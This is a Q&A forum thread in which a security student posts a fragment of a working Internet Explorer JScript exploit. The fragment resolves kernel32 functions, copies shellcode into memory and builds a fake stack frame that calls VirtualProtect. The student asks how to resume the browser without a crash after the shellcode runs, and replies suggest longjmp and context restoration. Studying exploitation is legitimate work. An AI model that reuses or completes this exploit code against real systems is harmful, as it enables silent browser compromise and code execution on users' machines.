I am a student studying information security. Recently I read this article link and made full exploit code. calc.exe is executed as expected. But after running shellcode, IE just crashed. (because no more code provided after shellcode...). I tried to avoid crash but could not find proper solution. What I tried is as follows.

            ... var jscriptPointer = readDWORD(fakeRegExpAddr);
                var jscriptBase = resolveModuleBase(jscriptPointer);
                var kernel32Pointer = resolveModuleByIAT(jscriptBase, "KERNEL32.dll");
                var kernel32Base = resolveModuleBase(kernel32Pointer);
                var VirtualProtect = resolveKernel32Function(kernel32Base, "VirtualProtect");
                var GetModuleHandleA = resolveKernel32Function(kernel32Base, "GetModuleHandleA");
                var GetProcAddress = resolveKernel32Function(kernel32Base, "GetProcAddress");
                var stack = a(fakeRegExpAddr, readDWORD(fakeRegExpAddr));
                var regExpExecAddress = ((stack.charCodeAt(4)<<16)|stack.charCodeAt(3)) - 0x44;
                var oldEbp = ((stack.charCodeAt(7)&0xFF)<<24) | (stack.charCodeAt(6)<<8) | ((stack.charCodeAt(5)>>8)&0xFF);
                var newEbp = regExpExecAddress - 0x2000;
                var pLongjmpTarget = regExpExecAddress;
                var sc = fakeRegExpAddr + sizeof_RegExpObj;
                for(var f=0; f<shellcode.length; f++){
                    a(sc + (f * sizeof_WORD), shellcode.charCodeAt(f));
                }
                    var ctx = sc + 5;
                    a(ctx + (2 * e), oldEbp);         // these two lines are for passing data
                    a(ctx + (3 * e), pLongjmpTarget); // to shellcode.
                
                for(var f=newEbp-0x20; f<newEbp+0x40; f+=U)
                {
                    a(f,0x7FFE0000);
                }
                
                a(newEbp + 4, VirtualProtect);
                a(newEbp + 4 + 4 + 0x18, sc);
                a(newEbp + 4 + 4 + 4 + 0x18, sc);
                a(newEbp + 4 + 4 + 4 + 4 + 0x18, (shellcode.length * sizeof_WCHAR));
                a(newEbp + 4 + 4 + 4 + 4 + 4 + 0x18, 0x40);
                a(newEbp + 4 + 4 + 4 + 4 + 4 + 4 + 0x18, newEbp);
                a(regExpExecAddress, newEbp);
            }

This code is referenced from this link. Then I don't know what to do in shellcode. how can I handle this problem? Any suggestions are welcomed. Thanks in advance.

  • It's not really a problem. You did your thing and executed your code. Even in a real-world scenario, who is surprized at IE crashing?

  • As I have mentioned, I am a student and I want to learn something. So could you provide some methods to avoid crash?

    I first get context of ie process using rtlcapturecontext windows api, then after running calc.exe, I just restored context using ntcontinue function. Eip moved as expected. But after running a few instructions, just crashed agian. what else can i do?

    Just give it time, binary exploitation isn't the most popular topic here. If you haven't gotten an answer by tomorrow, I'll add a bounty

    See longjmp usage here: stackoverflow.com/questions/14685406/…

This can be solved by longjmp. longjmp is similar to goto, so this can rollback to original state of your code.

    thank you for your reply. But could you specify more details?

  • This doesn't really answer the question at all. Could you perhaps give a clearer explanation or add some code?
